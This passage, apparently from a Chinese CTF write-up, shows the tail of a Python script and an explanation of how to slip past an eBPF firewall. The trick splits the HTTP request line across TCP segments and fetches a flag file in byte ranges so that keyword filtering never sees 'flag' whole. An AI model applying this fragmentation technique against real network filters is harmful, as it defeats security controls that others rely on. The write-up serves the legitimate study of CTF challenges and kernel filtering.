                part_text = body.decode(errors='ignore')
                full_flag += part_text
                print(f"[*] Offset {i}: {repr(part_text)}")

            s.close()
        except Exception as e:
            print(f"[-] Error at {i}: {e}")

    # 输出 flag ==========
    print("\n[+] Reconstructed Content:")
    print(full_flag)

get_flag_by_ranges()

细节说明。

socket.AF_INET, socket.SOCK_STREAM

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

AF_INET:IPv4 地址族
SOCK_STREAM:TCP 套接字(提供面向连接的、可靠的字节流)

setsockopt 的语法

s.setsockopt(level, optname, value)

相关选项:

# 禁用 Nagle
s.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)

# 启用 Keep-Alive
s.setsockopt(socket.SOL_SOCKET, socket.SO_KEEPALIVE, 1)

# 设置发送缓冲区大小
s.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 8192)

HTTP 请求的格式

GET /flag.html HTTP/1.1\r\n
Host: 35.227.38.232\r\n
Range: bytes=0-9\r\n
Connection: close\r\n
\r\n

每个部分的含义:

错误处理的设计

except Exception as e:
    print(f"[-] Error at {i}: {e}")
    # 继续下一次循环,不中断整个程序

即使某个 Range 请求失败,继续尝试其他部分

最终可能得到部分 flag(比没有好)

适用于不稳定的网络环境

errors='ignore' 的作用

part_text = body.decode(errors='ignore')

可能遇到的错误:

  1. UTF-8 序列:
范围 20-29: " flag: TEST"
范围 30-39: "{FLAG}</h1>"

如果某个范围恰好切断了一个多字节 UTF-8 字符,decode() 会报错。

  1. HTML 实体编码:
&lt;  → <
&gt;  → >
&amp; → &

但本题 flag.html 应该是纯文本,不需要处理。

errors='ignore' 的行为:
遇到无法解码的字节时,直接丢弃
不会抛出异常
可能丢失部分信息(但对 flag 影响不大)

替代方案:

# 替代为替换字符
part_text = body.decode(errors='replace')

# 使用 Latin-1(永远不会出错)
part_text = body.decode('latin-1')

时序图

客户端和服务端建立 TCP 连接后,分段发送请求("GET /f" + "lag.html"),绕过 Ingress 检查。Nginx 返回对应 Range 的数据,因为 "flag" 被拆散了,Egress 也放行。重复多次 Range 请求直到获取完整内容。

eBPF 程序的性能分析

eBPF 程序运行在内核路径上,性能要求极高。每次执行都会增加数据包处理的延迟,所以需要仔细优化。从内核角度看,eBPF 程序的执行开销主要包括:Verifier 验证时间(一次性)、JIT 编译时间(一次性)、程序执行时间(每次)、Map 访问时间(如果用到)。

程序执行时间取决于几个因素:指令数量、循环次数、内存访问次数、辅助函数调用开销。本题的防火墙使用了 bpf_loop,最坏情况下会执行接近数据包长度次的循环。对于 1KB 的数据包,可能循环 1000 次,每次调用 kw_scan_cb,这会消耗一定的 CPU 周期。但总体上 eBPF 程序的开销远小于用户态-内核态切换的开销,所以仍然比传统的 netfilter 防火墙快。

内核提供了 bpf_prog_test_run 辅助函数用于测试 eBPF 程序的性能。可以在加载程序前用 bpftool prog run 命令测试,查看执行时间、指令计数等信息。这对于优化 eBPF 程序很有帮助。常见的优化技术包括:减少循环次数、使用 bpf_probe_read_kernel 而不是多次 bpf_skb_load_bytes、避免不必要的分支等。

参考资料

eBPF Documentation: https://ebpf.io/
Linux TC 文档:
https://www.kernel.org/doc/Documentation/networking/tc.txt
bpf_loop() 提交:
https://github.com/torvalds/linux/commit/3a00b9d56043
HTTP Range RFC 7233
Nagle 算法 RFC 896
eBPF Verifier 文档:
https://www.kernel.org/doc/html/latest/bpf/verifier.html
BCC:
https://github.com/iovisor/bcc
Learning eBPF:
https://learningebpf.com/
Synacktiv 的 eBPF rootkit 分析:
https://www.synacktiv.com/en/publications/linkpro-ebpf-rootkit-analysis

内核源码参考:
kernel/bpf/verifier.c - eBPF Verifier 实现
arch/x86/net/bpf_jit_comp.c - x86-64 JIT 编译器
net/core/dev.c - TC 钩子实现(sch_handle_ingress/egress)
net/sched/cls_bpf.c - TC BPF 分类器
net/ipv4/tcp_input.c - TCP 输入处理和重组逻辑
include/linux/skbuff.h - sk_buff 结构定义
include/uapi/linux/bpf.h - eBPF 辅助函数定义

内核文档:
Documentation/bpf/design_qa.rst - eBPF 设计问答
Documentation/bpf/bpf_devel_QA.rst - eBPF 开发问答
Documentation/networking/filter.txt - BPF 过滤器文档